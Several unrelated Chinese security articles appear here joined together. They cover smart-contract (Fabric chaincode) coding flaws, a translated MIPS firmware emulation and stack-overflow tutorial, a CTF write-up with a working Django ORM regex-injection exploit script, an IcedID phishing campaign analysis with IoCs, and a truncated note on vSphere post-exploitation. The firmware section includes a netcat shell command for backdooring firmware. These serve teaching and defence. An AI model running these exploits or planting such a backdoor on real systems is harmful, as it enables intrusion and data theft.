类的内存拷贝函数，则会复制一个巨大的数据，可能导致错误或者破坏堆栈。除此之外，无符号整数回绕最可能被利用的情况之一是用于内存的分配，如使用 make()
函数进行内存分配时，当 make() 函数的参数产生回绕时，可能为0或者是一个最大值，从而导致0长度的内存分配或者内存分配失败。
智能合约中GetAssetPrice函数用于返回当前计算的差价，第228可知，`gas +
rebate`可能发生溢出，uint16表示的最大整数为65535，即大于这个数将发生无符号回绕问题：
var gas uint16 = uint16(65535)
var rebate uint16 = uint16(1)
fmt.Println(gas + rebate) // 0
var gas1 uint16 = uint16(65535)
var rebate2 uint16 = uint16(2)
fmt.Println(gas1 + rebate2) // 1
* **除数为零**
代码基本算数运算过程中，当出现除数为零的错误时，通常会导致程序崩溃和拒绝服务漏洞。
在`CreateTypeAsset`函数的第64行，通过传入参数`appraisedValue`来计算接收资产类型值，实际上，当传入参数`appraisedValue`等于17时，将发生除零风险问题。
* **忽略返回值**
一些函数具有返回值且返回值用于判断函数执行的行为，如判断函数是否执行成功，因此需要对函数的返回值进行相应的判断，以 `strconv.Atoi`
函数为例，其原型为： `func Atoi(s string) (int, error)`如果函数执行成功，则返回第一个参数 int；如果发生错误，则返回
error，如果没有对函数返回值进行检测，那么当读取发生错误时，则可能因为忽略异常和错误情况导致允许攻击者引入意料之外的行为。
* **空指针引用**
指针在使用前需要进行健壮性检查，从而避免对空指针进行解引用操作。试图通过空指针对数据进行访问，会导致运行时错误。当程序试图解引用一个期望非空但是实际为空的指针时，会发生空指针解引用错误。对空指针的解引用会导致未定义的行为。在很多平台上，解引用空指针可能会导致程序异常终止或拒绝服务。如：在
Linux 系统中访问空指针会产生 Segmentation fault 的错误。
func (s *AssetPrivateDetails) verifyAgreement(ctx contractapi.TransactionContextInterface, assetID string, owner string, buyerMSP string) *Asset {
....
err = ctx.GetStub().PutPrivateData(assetCollection, transferAgreeKey, []byte(clientID))
if err != nil {
fmt.Printf("failed to put asset bid: %v\n", err)
return nil
}
}
// Verify transfer details and transfer owner
asset := s.verifyAgreement(
ctx, assetTransferInput.ID, asset.Owner, assetTransferInput.BuyerMSP)
var detailsID int = len(asset.ID)
* **越界访问**
越界访问是代码语言中常见的缺陷，它并不一定会造成编译错误，在编译阶段很难发现这类问题，导致的后果也不确定。当出现越界时，由于无法得知被访问空间存储的内容，所以会产生不确定的行为，可能是程序崩溃、运算结果非预期。
#### 系统机制问题
* **全局变量唯一性**
全局变量不会保存在数据库中，而是存储于单个节点，如果此类节点发生故障或重启时，可能会导致该全局变量值不再与其他节点保持一致，影响节点交易。因此，从数据库读取、写入或从合约返回的数据不应依赖于全局状态变量。
* **不确定性因素**
合约变量的生成如果依赖于不确定因素(如：本节点时间戳)或者某个未在账本中持久化的变量，那么可能会因为各节点该变量的读写集不一样，导致交易验证不通过。
* **访问外部资源**
合约访问外部资源时，如第三方库，这些第三方库代码本身可能存在一些安全隐患。引入第三方库代码可能会暴露合约未预期的安全隐患，影响链码业务逻辑。
#### 业务逻辑安全
* **输入参数检查不到位**
在编写智能合约时，开发者需要对每个函数参数进行合法性，预期性检查，即需要保证每个参数符合合约的实际应用场景，对输入参数检查不到位往往会导致非预期的结果。如近期爆出的`Filecoin测试网`代码中的严重漏洞，原因是
`transfer` 函数中对转账双方 `from, to` 地址检查不到位，导致了FIL无限增发。
### Before
func (vm *VM) transfer(from, to address.Address, amt types.BigInt) aerrors.ActorError {
if from == to {
return nil
}
...
}
### After
func (vm *VM) transfer(from, to address.Address, amt types.BigInt) aerrors.ActorError {
if from == to {
return nil
}
fromID, err := vm.cstate.LookupID(from)
if err != nil {
return aerrors.Fatalf("transfer failed when resolving sender address: %s", err)
}
toID, err := vm.cstate.LookupID(to)
if err != nil {
return aerrors.Fatalf("transfer failed when resolving receiver address: %s", err)
}
if fromID == toID {
return nil
}
...
}
* **函数权限失配**
Fabrci智能合约go代码实现中是根据首字母的大小写来确定可以访问的权限。如果方法名首字母大写，则可以被其他的包访问；如果首字母小写，则只能在本包中使用。因此，对于一些敏感操作的内部函数，应尽量保证方法名采用首字母小写开头，防止被外部恶意调用。
* **异常处理问题**
通常每个函数调用结束后会返回相应的返回参数，错误码，如果未认真检查错误码值而直接使用其返回参数，可能导致越界访问，空指针引用等安全隐患。
* **外部合约调用引入安全隐患**
在某些业务场景中，智能合约代码可能引入其他智能合约，这些未经安全检查的合约代码可能存在一些未预期的安全隐患，进而影响链码业务本身的逻辑。
#### 总结
联盟链的发展目前还处于项目落地初期阶段，对于联盟链平台上的智能合约开发，项目方应该强化对智能合约开发者的安全培训，简化智能合约的设计，做到功能与安全的平衡，严格执行智能合约代码安全审计(自评/项目组review/三方审计)
在联盟链应用落地上，需要逐步推进，从简单到复杂，在项目开始阶段，需要设置适当的权限以防发生黑天鹅事件。
#### REF
[1] Hyperledger Fabric 链码
<https://blog.51cto.com/clovemfong/2149953>
[2] fabric-samples
<https://github.com/hyperledger/fabric-samples>
[3] Fabric2.0，使用test-network
<https://blog.csdn.net/zekdot/article/details/106977734>
[4] 使用V8和Go实现的安全TypeScript运行时
<https://php.ctolib.com/ry-deno.html>
[5] Hyperledger fabric
<https://github.com/hyperledger/fabric>
* * * | 社区文章 |
# 【技术分享】固件二进制代码仿真及漏洞利用技术
|
##### 译文声明
本文是翻译文章，文章来源：attify
原文地址：<http://blog.attify.com/2016/08/16/emulating-exploiting-firmware-binaries/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：**[ **** **shan66**
****](http://bobao.360.cn/member/contribute?uid=2522399780)
**预估稿费：260RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至**[ **linwei#360.cn** ****](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**前言**
在上一篇文章中，我们介绍了进行固件分析和提取文件系统的方法。在这篇文章中，我们将进一步介绍如何深入分析固件的二进制文件，进而利用其常见的安全漏洞。
在本文中，我们将会涉及到如下所示的两个固件：
1\. kkeps.bin（kankun智能插座的固件）——它的下载地址为<http://homedash.org/2014/09/21/firmware-downloads/>。
2\. DVRF_0.3.bin（由@ b1ack0wl提供的Damn Vulnerable Router Firmware的固件）——它的下载地址为
<https://github.com/praetorian-inc/DVRF>。
在获取Kankun的固件之后，我们要做的第一件事就是使用binwalk从固件中提取文件系统。
binwalk -e kkeps.bin
现在，binwalk已经提取了固件; 我们可以考察这个文件系统，看看是否有我们感兴趣的二进制文件，来作为我们的分析对象。正如我们所看到的那样，在sbin
/文件夹中有一些二进制文件看起来是定制开发的，因为它们的名称是以字符串kkeps开头的。
**运行用于不同的架构的固件二进制代码**
现在，为了与这些二进制文件进行交互，我们要么通过设备的shell来运行相应的二进制文件（我们将在后面的文章中介绍），要么通过识别出该二进制文件的目标架构来进行仿真。为此，我们可以借助于readelf程序。
从上面的截图我们可以看到，该二进制代码是用于MIPS架构的。我们需要找到相应的qemu程序，以便对MIPS架构的二进制代码进行仿真。qemu的安装本文不做介绍，因为已经有很多在线资源对此进行了详尽的说明。
一旦在系统上成功安装好了qemu，下一步就是将qemu-mips-static二进制文件复制到固件的根文件夹中。
让我们先运行位于bin文件夹中的busybox，看看是否正常工作。
由于二进制文件busybox是给另外一个架构编译的，自然无法在我们的x86机器上运行，所以会出现一个Exec格式错误。现在，让我们再试一次，这次使用qemu-mips-static和chroot：
sudo chroot. ./qemu-mips-static bin/busybox
正如我们所看到的那样，通过使用Qemu仿真特定的架构，已经可以成功地运行这些二进制代码了。
现在，让我们尝试使用qemu-mips仿真运行位于sbin文件夹中的kkeps_seekwifi二进制代码，这里同样会使用chroot，具体如下所示：
sudo chroot . ./qemu-mips-static sbin/kkeps_seekwifi
由于该二进制文件的名称为seekwifi，所以它有可能是用于寻找到该设备的连接（当它在该设备上运行的时候）的。让我们检查一下，它是否已经在我们的端口上启动了某种监听器。为此，我们将用到netstat，具体命令如下所示。
果然不出所料!它已经在端口50000上启动了一个监听器。让我们看看是否可以连接到这个端口，然后发送一些数据，看看该监听器是否会收到。
如果这时查看另一个终端窗口，我们将发现，这个运行中的二进制代码已经收到了通过telnet发送给它的数据。
因此，我们可以对固件中用于不同架构的二进制文件进行相应的仿真处理，甚至可以与正在运行的二进制代码进行交互。
这实际上就是为渗透测试人员开辟了广阔的可能性。事实上，这意味着只要可以获得设备的固件的话，我们甚至可以对它们进行攻击，并验证我们的攻击是否奏效，而这一切根本无需物理设备的实际参与。
**利用MIPS架构上的栈溢出漏洞**
下面我们开始尝试利用MIPS平台二进制代码的栈溢出漏洞。在这里，我们假设读者已经掌握了栈溢出漏洞的基本概念。对于这个练习，我们将以Damn
Vulnerable Router Firmware为例进行介绍。
第一步，与所有固件的处理方式一样，使用binwalk提取文件系统。一旦通过binwalk提取出了DVRF文件系统，就可以在squashfs-root/pwnable/Intro文件夹中找到相应的挑战任务。
我们要挑战对象是stack_bof_01。在利用这个二进制文件的漏洞之前，首先需要使用IDA对其进行反汇编。当然，你也可以使用radare2或radare2来完成这项工作，具体使用哪种工具，完全取决于你的个人喜好。在这个系列文章中，我们将使用IDA作为我们的反汇编器。此外，当在IDA中加载二进制代码时，务必确保将MIPS的体系结构类型改为little
endian。
我们要做的第一件事是检查函数列表，看看是否有让我们感兴趣的函数。
正如我们所看到的，在地址0x400950处有一个让我们感兴趣的函数，即dat_shell。我们稍后会再次回到这里。
让我们尝试运行该程序，看看它运行时的正常输出是什么。然后，就像我们在上文一样，使用qemu和chroot来运行它。
该二进制代码貌似需要一个参数，当它与开发人员指定的条件相匹配的时候，会生成另一个输出，而不是“Try
Again”。为了验证这一点，让我们运行qemu，通过-g标志和端口号附着一个调试器，然后使用IDA远程连接它。需要注意的是，有时候在仿真期间，您还必须使用qemu的-e标志来设置该二进制文件所需的环境变量。
我们可以看到，现在代码已暂停执行，因为它在等待调试器与它连接并给出进一步的操作。所以，让我们打开IDA，并通过配置远程调试器附加到这个进程上面。为此，我们需要在IDA中打开相同的二进制文件，然后进入Debugger
| Process Options菜单选项，并输入我们的远程IP地址（对该二进制代码进行仿真的机器的地址）和端口号。
一旦完成上述工作，我们就可以运行调试器并附加到这个正在运行的进程上了。你可以在这里设置断点并分析各种寄存器，并完成任何你想要的操作。
我们将在本系列后面的文章中集中深入讨论MIPS的汇编代码，但现在，我们只需专注于PC和RA即可——从漏洞利用的角度看，它们是最有用的两个寄存器，分别表示程序计数器和返回地址。
简单来说，程序计数器是下一条要读取的指令（因为MIPS是流水线方式），RA是返回地址（程序在结束子程序后返回的地方）。
对于这两个寄存器，只要控制其中任何一个，我们就能够访问程序流，从而可以操纵程序的执行了。
既然这是一个基于堆栈溢出的crackme，那么我们就使用一个超长的字符串来运行该二进制文件，比如使用Metasploit的pattern_create.rb来生成一个包含2000个字符的字符串，具体如下所示。
一旦生成所需的字符串之后，我们就可以将其用作运行该二进制代码时的参数，然后通过IDA调试该二进制代码，以查看我们的PC寄存器指向何处。
由于该程序现在正在运行，所以我们可以通过IDA检查程序崩溃时PC的价值是什么。我们将会看到，PC存储的值为0x41386741。
如果我们将0x41386741的值转换为字符串形式，就是A8gA，通过pattern_offset.rb我们可以发现，它实际上就是204。这意味着我们可以控制程序计数器：它会首先跳过204个字符，而接下来的那个字符将覆盖程序计数器。
现在，让我们尝试调用我们之前见过的dat_shell函数。由于前两行代码是处理GP（全局指针）的，所以忽略它们，并直接跳转到位于地址0x40095c的第三行指令。
所以我们将再次生成一个包含204个字符的模版，然后，我们将第三条指令的地址放到dat_shell函数中。如下图所示，这一次，它会显示“Congrats! I
will now execute /bin/sh”，这意味着我们现在已经成功地利用了这个漏洞。如果它是一个实际设备的话，我们就会得到一个shell。
**如何将固件后门化**
对于固件而言，我们可以做的另一件有趣的事情是：创建原始固件的恶意版本。为此，我们可以从固件中提取文件系统，然后为其添加可以自动触发并提供一个反向shell的恶意脚本，然后将其重新打包为新的固件。然后，如果您具有相应的访问权限（基于硬件或在线方式）的话，您甚至可以将新创建的固件刷新到设备中。
这会带来巨大的安全风险，因为您购买的大多数设备不是直接来自制造商，而是来自分销商。除非您证明运行在设备上的是合法固件，否则您无法确保它不是后门化的固件。在此我们不会详细介绍制造商是如何将后门放入自己的固件中的。
现在，让我们深入探讨这一切是如何做到的。
**Firmware Mod Kit使用入门**
Firmware Mod Kit是一款由Jeremy Collake和Craig
Heffner共同编写的工具。您可以使用FMK提取固件映像，添加自己的代码，并构建新版本的固件。
Firmware mod
kit是一个完整的工具包，不仅可以用来提取固件，同时还能构建新的固件。在提取固件方面，它会将Binwalk用于其提取过程的一个组成部分。
为了通过binwalk提取固件，只需在extract-firmware.sh后面加固件二进制文件名的方式即可，具体命令如下所示。
在提取固件后，它会将提取的文件系统存储在同一文件夹下面的fmk目录中。
在这里，只要你喜欢，可以修改或添加任何文件。从下面的屏幕截图可以看出，其中有一个busybox二进制文件，当然，这里也有Netcat。如果需要的话，我们可以添加Netcat的反向shell，以便在设备启动时连接到我们的IP。
若要添加后门的话，我们只要在任意.sh文件中添加以下一行代码即可，这样就可以在设备启动时自动触发了。
/bin/busybox nc –nlp 12345 –e /bin/busybox sh &
一旦完成了相应的修改，我们就可以使用build-firmware.sh来构建新的固件，进而将其刷新到设备中
在本文中，我们详细介绍了分析和利用固件二进制文件的各种方法。在下一篇文章中，我们将进一步讲解针对物联网设备的硬件漏洞利用技术。 | 社区文章 |
Author：
**[l3m0n](http://www.cnblogs.com/iamstudy/articles/Pwnhub_Classroom_Writeup.html)**
页面中有一个js：http://54.223.46.206:8003/static/js/login.js 发现是能够进行文件读取的
(具体见：http://wooyun.jozxing.cc/static/drops/papers-5040.html
)，但是对conf、py等后缀做了限制。
通过http的返回头也知道一些信息：Server:gunicorn/19.6.0 Django/1.10.3 CPython/3.5.2
python3.x预编译文件会产生pyc
为了提高模块加载的速度，每个模块都会在`__pycache__`文件夹中放置该模块的预编译模块，命名为`module.version.pyc`,version是模块的预编译版本编码，一般都包含Python的版本号。例如在CPython
发行版3.4中，fibo.py文件的预编译文件就是：`__pycache__/fibo.cpython-34.pyc`
一个Django的一开始的配置文件：
所以可以先从这几个文件下手。
另外还有view.py和model.py
下载pyc文件
wget 54.223.46.206:8003/static/%2e%2e/__pycache__/views.cpython-35.pyc
用uncompyle6反编译pyc成py
urls.py
from django.conf.urls import url
from . import views
urlpatterns = [
url('^$', views.IndexView.as_view(), name='index'),
url('^login/$', views.LoginView.as_view(), name='login'),
url('^logout/$', views.LogoutView.as_view(), name='logout'),
url('^static/(?P<path>.*)', views.StaticFilesView.as_view(), name='static')]
model.py
from django.db import models
class Student(models.Model):
name = models.CharField('', max_length=64, unique=True)
no = models.CharField('', max_length=12, unique=True)
passkey = models.CharField('', max_length=32)
group = models.ForeignKey('Group', verbose_name='', on_delete=models.CASCADE, null=True, blank=True)
class Meta:
verbose_name = ''
verbose_name_plural = verbose_name
def __str__(self):
return self.name
class Group(models.Model):
name = models.CharField('', max_length=64)
information = models.TextField('')
secret = models.CharField('', max_length=128)
created_time = models.DateTimeField('', auto_now_add=True)
class Meta:
verbose_name = ''
verbose_name_plural = verbose_name
def __str__(self):
return self.name
view.py
import json
import os
from wsgiref.util import FileWrapper
from django.shortcuts import render, redirect
from django.urls import reverse_lazy
from django.views import generic
from django.http import JsonResponse
from django.core import exceptions
from django.http import HttpResponse, Http404
from django.conf import settings
from django.db.models import F
from . import models
class RequireLoginMixin(object):
login_url = reverse_lazy('students:login')
def handle_no_permission(self):
return redirect(self.login_url)
def dispatch(self, request, *args, **kwargs):
if request.session.get('is_login', None) != True:
return self.handle_no_permission()
return super(RequireLoginMixin, self).dispatch(request, *args, **kwargs)
class JsonResponseMixin(object):
def _jsondata(self, msg, status_code=200):
return JsonResponse({'message': msg}, status=status_code)
class LoginView(JsonResponseMixin, generic.TemplateView):
template_name = 'login.html'
def post(self, request, *args, **kwargs):
data = json.loads(request.body.decode())
stu = models.Student.objects.filter(**data).first()
if not stu or stu.passkey != data['passkey']:
return self._jsondata('', 403)
else:
request.session['is_login'] = True
return self._jsondata('', 200)
class LogoutView(RequireLoginMixin, JsonResponseMixin, generic.RedirectView):
url = reverse_lazy('students:login')
def get(self, request, *args, **kwargs):
request.session.flush()
return super(LogoutView, self).get(request, *args, **kwargs)
class IndexView(RequireLoginMixin, JsonResponseMixin, generic.TemplateView):
template_name = 'index.html'
def post(self, request, *args, **kwargs):
ret = []
for group in models.Group.objects.all():
ret.append(dict(name=group.name, information=group.information, created_time=group.created_time, members=list(group.student_set.values('name', 'id').all())))
return self._jsondata(ret, status_code=200)
class StaticFilesView(generic.View):
content_type = 'text/plain'
def get(self, request, *args, **kwargs):
filename = self.kwargs['path']
filename = os.path.join(settings.BASE_DIR, 'students', 'static', filename)
name, ext = os.path.splitext(filename)
if ext in ('.py', '.conf', '.sqlite3', '.yml'):
raise exceptions.PermissionDenied('Permission deny')
try:
return HttpResponse(FileWrapper(open(filename, 'rb'), 8192), content_type=self.content_type)
except BaseException as e:
raise Http404('Static file not found')
其中在loginView里面有个关键的地方就是
data = json.loads(request.body.decode())
stu = models.Student.objects.filter(**data).first()
if not stu or stu.passkey != data['passkey']:
看下官方文档：
filter是接收关键字变量参数(字典类型)，**kwargs
其中filter是作为条件语句使用的，类似where，里面的参数相当于条件，多条件的时候是以and连接。这也表示where后面的条件我们是可控的。于是可以形成注入。
看下filter中的操作关键字
operators = {
'exact': '= %s',
'iexact': 'LIKE %s',
'contains': 'LIKE BINARY %s',
'icontains': 'LIKE %s',
'regex': 'REGEXP BINARY %s',
'iregex': 'REGEXP %s',
'gt': '> %s',
'gte': '>= %s',
'lt': '< %s',
'lte': '<= %s',
'startswith': 'LIKE BINARY %s',
'endswith': 'LIKE BINARY %s',
'istartswith': 'LIKE %s',
'iendswith': 'LIKE %s',
}
比如startswith，
if not stu or stu.passkey != data['passkey']:
return self._jsondata('', 403)
else:
request.session['is_login'] = True
return self._jsondata('', 200)
filter查询有结果，但是没有data['passkey']这个值传入的话，python会报500的错误。
exp:
import requests
import json
url = "http://54.223.46.206:8003/login/"
headers = {"Content-Type": "application/x-www-form-urlencoded"}
payload = "abcdefghijklmnopqrstuvwxyz0123456789:"
current_data = ""
def check(current_data):
temp = current_data
for p in payload:
temp += p
data = "^%s.*" % temp
post_data = "%s" % json.dumps({"name__regex": data})
r = requests.post(url,data=post_data,headers = headers)
if r.status_code == 500:
return p
temp = current_data
for k in range(80):
current_data += check(current_data)
print "%dth data: %s" % (k,current_data)
在model.py中还有一个Group表，Student的外键就是它。
所以可以通过外键查询group的secret。`group__secret__regex`最后get flag。
* * * | 社区文章 |
**译者：知道创宇404实验室翻译组
原文链接：<https://www.intezer.com/blog/research/conversation-hijacking-campaign-delivering-icedid/>**
这篇文章描述了 Intezer 研究小组发现的一个新的攻击活动的技术分析，黑客通过一个钓鱼邮件发起攻击，利用会话劫持来传输 IcedID。
地下经济不断演变，攻击者专攻特定领域。最近几年蓬勃发展的一个领域是初始访问代理。初始访问代理业务专注于获得组织的初始登陆点访问权，一旦实现，访问权会被卖给其他黑客，进一步将其转化成金钱。
一些初始访问代理的客户购买访问权限来部署勒索软件。[Proofpoint](https://www.proofpoint.com/uk/blog/threat-insight/first-step-initial-access-leads-ransomware)
已经识别了十个向勒索软件组织出售访问权限的访问代理商。这些访问代理主要通过银行木马感染受害者，之后，这些木马被用来应“购买者的要求”部署其他的恶意软件。
其中一个用于部署[勒索软件](https://www.mandiant.com/resources/melting-unc2198-icedid-to-ransomware-operations)的银行木马是 IcedID (BokBot)。2017年11月，[IBM
X-Force](https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/)首次报道了 IcedID，该恶意软件与 Pony
的一些[代码](https://www.intezer.com/blog/research/icedid-banking-trojan-shares-code-pony-2-0-trojan/)是相同的。这个恶意软件最初设计用于盗取银行凭证，就像许多其他银行木马一样，现在，它已经被重新设计用于在受感染的机器上部署其他恶意软件。
IcedID感染设备的一种方式是通过网络钓鱼[邮件](https://unit42.paloaltonetworks.com/ta551-shathak-icedid/)。感染链，通常使用的是一个附有密码保护“ zip”文档的电子邮件。在归档文件中有一个宏启用的办公文档，它执行 IcedID
安装程序。一些钓鱼电子邮件重复使用以前被盗的电子邮件，使诱惑更有说服力。
**在新的 IcedID 攻击中，我们发现了攻击者技术的进一步发展** 。攻击者现在使用已被感染的 microsoft Exchange
服务器从他们窃取的账户发送钓鱼邮件。有效负载还从使用office文档转向使用带有 Windows LNK 文件和 DLL 文件的 ISO 文件。使用 ISO
文件方便了黑客绕过[Mark-of-the-Web](https://attack.mitre.org/techniques/T1553/005/)控制，导致恶意软件在没有警告用户的情况下执行。关于受害者，我们已经发现了
**能源、医疗、法律和制药行业** 的组织。
## 传染链
攻击链从钓鱼邮件开始。该电子邮件包括一些重要文件的消息，并有一个密码保护的“
zip”档案文件附件。文档的密码在邮件正文中给出，如下面的截图所示。使钓鱼电子邮件更有说服力的是它使用了对话劫持(线程劫持)。一个伪造的对以前被盗的电子邮件的回复正在使用。此外，这封电子邮件也是从被盗邮件的邮箱账户发出的。
压缩文件的内容如下面的截图所示。它包括一个“ ISO”文件，其文件名与 zip 归档文件相同。还可以看到，该文件是在电子邮件发送前不久创建的。
ISO 文件包括两个文件，一个名为“ document”的 LNK 文件和一个名为“ main”的 DLL 文件。从时间戳可以发现，DLL
文件是前一天准备的，而 LNK 文件是大约一周前准备的。LNK 文件可能已经在早期的网络钓鱼邮件中使用过。
LNK 文件通过其嵌入的图标文件看起来像一个文档文件。从下面的截图可以看出，当用户双击链接文件时，它使用“ regsvr32”来执行 DLL 文件。
[regsvr32](https://attack.mitre.org/techniques/T1218/010/)的使用允许代理执行
**main.dll** 中的恶意代码同时避开防御。DLL 文件是 IcedID 负载的加载程序。它包含许多导出，其中大部分是垃圾代码。
加载程序将定位存储在二进制文件的资源部分中的加密有效负载。它通过 _API hashing_ 技术实现这一点。下面显示了哈希函数的反编译。
然后将生成的哈希与硬编码哈希进行比较，以定位对 **FindResourceA.** 的调用。动态调用该函数来获取有效负载。
使用 **VirtualAlloc** 分配内存以保存解密的有效负载。
IcedID “Gziploader” 负载被解码并放在内存中，然后执行。GZiploader
对机器进行指纹识别，并向命令和控制服务器发送一个信标，其中包含关于被感染主机的信息。信息是通过一个 HTTP GET 请求通过 cookies
头偷偷传输的。
C2位于 _yourgroceries[.]top_ 。C2可以响应更进一步的阶段来植入和执行。在我们的分析过程中，C2没有回应任何有效载荷。
## 作为网络钓鱼技术的会话劫持
通过电子邮件劫持一个已经存在的会话来传播恶意软件的技术，黑客已经使用了一段时间了。通常，电子邮件信息在感染过程中被盗取，并用于下一步的攻击，使钓鱼电子邮件看起来更加合法。在过去的六个月里，攻击者进一步发展了这项技术，使其更具说服力。现在，攻击者不再使用“伪造”的电子邮件地址向受害者发送被盗对话，而是使用他们盗取原始电子邮件的受害者的电子邮件地址，使钓鱼邮件更有说服力。
2021年11月，[Kevin
Beaumont](https://twitter.com/GossiTheDog/status/1455204386834206729)报道这种会话劫持技术被用于分发
Qakbot。通过调查，他认为，发送邮件的微软 Exchange 服务器有被 ProxyShell 利用的可能。
## 2022年3月发现的新攻击
在目前的三月中旬的攻击中，我们发现，相同的被盗对话现在是从收到最新电子邮件的电子邮件地址发送的。回到一月份，当这个对话也被使用时，发件地址是“webmaster@[REDACTED].com”，其中包含对话中最后一封电子邮件的收件人姓名。通过使用这种方法，电子邮件看起来更合理，它通过正常渠道传输。
我们观察到的大多数原始 Exchange 服务器似乎也没有打补丁并公开，这使得 ProxyShell 成为一个很好的犯罪工具。虽然大多数用于发送钓鱼邮件的
Exchange 服务器可以通过互联网被任何人访问，但我们也发现一封似乎是“内部”Exchange 服务器发送的内部钓鱼邮件。
下面的代码片段显示了邮件标题的一小部分。Exchange 服务器的 IP 地址是一个本地 IP 地址(172.29.0.12) ，top域名称为“
local”。我们还可以看到Exchange将其标记为内部电子邮件而添加的标题。Exchange
服务器还添加了通过[MAPI](https://social.technet.microsoft.com/Forums/lync/en-US/4775f066-4734-4ccd-a998-0ea43fad7069/xmsexchangeorganizationauthmechanism-possible-values?forum=exchangesvrsecuremessaging)连接到 Exchange
服务器的原始客户端头(172.29.5.131，也是本地 IP 地址)。
applescript
Received: from ExchSrv01.[REDACTED].local (172.29.0.12) by
ExchSrv01.[REDACTED].local (172.29.0.12) with Microsoft SMTP Server
(version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.464.5
via Mailbox Transport; Thu, 10 Mar 2022 14:34:29 +0100
Received: from ExchSrv01.[REDACTED].local (172.29.0.12) by
ExchSrv01.[REDACTED].local (172.29.0.12) with Microsoft SMTP Server
(version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.464.5;
Thu, 10 Mar 2022 14:34:29 +0100
Received: from ExchSrv01.[REDACTED].local ([fe80::b148:8e7:61f8:61b4]) by
ExchSrv01.[REDACTED].local ([fe80::b148:8e7:61f8:61b4%6]) with mapi id
15.02.0464.005; Thu, 10 Mar 2022 14:34:29 +0100
…
X-MS-Exchange-Organization-AuthAs: Internal
X-MS-Exchange-Organization-AuthMechanism: 04
X-MS-Exchange-Organization-AuthSource: ExchSrv01.[REDACTED].local
X-MS-Has-Attach: yes
X-MS-Exchange-Organization-SCL: -1
X-MS-Exchange-Organization-RecordReviewCfmType: 0
x-ms-exchange-organization-originalclientipaddress: 172.29.5.131
x-ms-exchange-organization-originalserveripaddress: fe80::b148:8e7:61f8:61b4%6
我们没能为这台 Exchange 服务器找到对应的公共 IP
地址，而且我们也不知道这台服务器是如何被黑客访问的。我们唯一能找到的是一个[roundcube](https://roundcube.net/)webmail
实例。登录页面如下图所示。
上面的代码片段中的一个头文件报告说，客户机通过 MAPI 连接到服务器。[MAPI](https://docs.microsoft.com/en-us/exchange/clients/mapi-mailbox-access?view=exchserver-2019)是用于访问 Exchange
服务器上的邮箱的协议(例如，由 Outlook 使用)。这表明攻击者使用 Exchange 客户端而不是使用 SMTP
发送电子邮件。我们还在多封钓鱼邮件中看到了标题“ X-Mailer: Microsoft Outlook
16.0”。在其他网络钓鱼邮件中，可以发现一个“X-Originating-IP”标题。这是 Exchange 服务器在使用 web
界面时添加的标题。标题中的 IP 地址是连接到服务器的客户端的 IP 地址。我们观察了客户端 IP 的主机提供商和非商业 IP 地址。
## 归因
2021年6月，Proofpoint
发布了一份关于不同访问代理商的[报告](https://www.proofpoint.com/uk/blog/threat-insight/first-step-initial-access-leads-ransomware)，这些代理商为勒索软件组织提供了访问便利。根据
Proofpoint，在不同的黑客中，有两个(TA577和 TA551)使用了 IcedID
作为他们的恶意软件。TA551使用的技术包括[对话劫持](https://www.proofpoint.com/us/blog/security-briefs/ta551-uses-sliver-red-team-tool-new-activity)和[密码](https://www.mandiant.com/resources/melting-unc2198-icedid-to-ransomware-operations) [保护](https://unit42.paloaltonetworks.com/ta551-shathak-icedid/) [zip](https://unit42.paloaltonetworks.com/ta551-shathak-icedid/)文件。该组织还使用 regsvr32.exe 对恶意 dll 执行有签名的二进制代理。
## 总结
会话劫持的使用是一个强大的社会工程技术，可以提高钓鱼的成功率。有效载荷已经从office文件转移到使用 ISO
文件，利用商用打包软件和多个阶段隐藏踪迹。能够检测内存中的恶意文件来检测这种类型的攻击非常重要。
## IoCs
> 1. ISO File:
> 3542d5179100a7644e0a747139d775dbc8d914245292209bc9038ad2413b3213
> 2. Loader DLL:
> 698a0348c4bb8fffc806a1f915592b20193229568647807e88a39d2ab81cb4c2
> 3. LNK File:
> a17e32b43f96c8db69c979865a8732f3784c7c42714197091866473bcfac8250
> 4. IcedID GZiploader Network:
> yourgroceries[.]top
>
* * * | 社区文章 |
实际测试中常遇到VMware
vSphere构建的云环境，同时在已获取域管理员账号的情况下，很大可能可以直接用域管理员登录vsphere（多数vSphere会配置域管理员用户登录），这时就需要尝试对vSphere管理的所有虚拟机进行进一步渗透。
### VMware vSphere 简介
[VMware vSphere 官网链接](https://www.vmware.com/products/vsphere.html)
vSphere: The Efficient and Secure Platform for Your Hybrid Cloud
VMware vSphere 在个人理解中就是管理一群exsi主机和一群运行在主机之上vm的一个产品 。
通过vSphere可以获得开关虚拟机、复制虚拟机的常规权限。
vSphere client 界面 类似常用的vmware workstation 的功能 （其实vmware workstation
也可以做vSphere客户端用，远程连接vsphere即可）
### 向虚拟机内部渗透
当前所有权限如下
* 利用客户端开启console （如果有密码 可以尝试登陆了）
* 开关机、调整虚拟机配置
* 克隆虚拟机
* 复制移动exsi主机上的文件，例如虚拟机的 vmdk 虚拟磁盘文件，还有一些存放于主机上的iso 光驱镜像文件
_在目标机器没有加入域且不知道账户的情况下，只能尝试通过文件系统进入目标了，通过挂载目标vm的vmdk来获取账户或者直接提取敏感文件。_
当前正在运行的vm的虚拟磁盘文件是不可以再次挂载的，可以通过 **热克隆** 目标vm，再对克隆出的vmdk进行挂载，达到对文件系统的控制
**读取vmdk的几种方法**
* 可以尝试通过一个已控的vm将目标vmdk挂载，进入当前已控vm读取目标文件信息即可。（一般的linux的vmdk 只能找个linux 的vm 进行挂载）
* 找不到可控vm时可以直接拿目标平台搭建一个，系统iso文件一般查看目标vm的光驱挂载即可找到，常人装完系统都不会把光驱挂载给改了吧，毕竟装完都用不上了。
* 理论上也通过vmware 提供的[vvdk (Virtual Disk Development Kit)](https://code.vmware.com/web/sdk/6.7/vddk) 远程挂载 ，vvdk 5.1 版本提供了 vmware-mount 文件可用来直接远程挂载，vvdk 5.5 版本以后不再提供vmware-mount 但是可以直接编译提供的vixdisklibsample(远程挂载最终在实验环境没有尝试成功。。哪位师傅成功了教教我)
最后给个 **胆子大、不要命的方法**
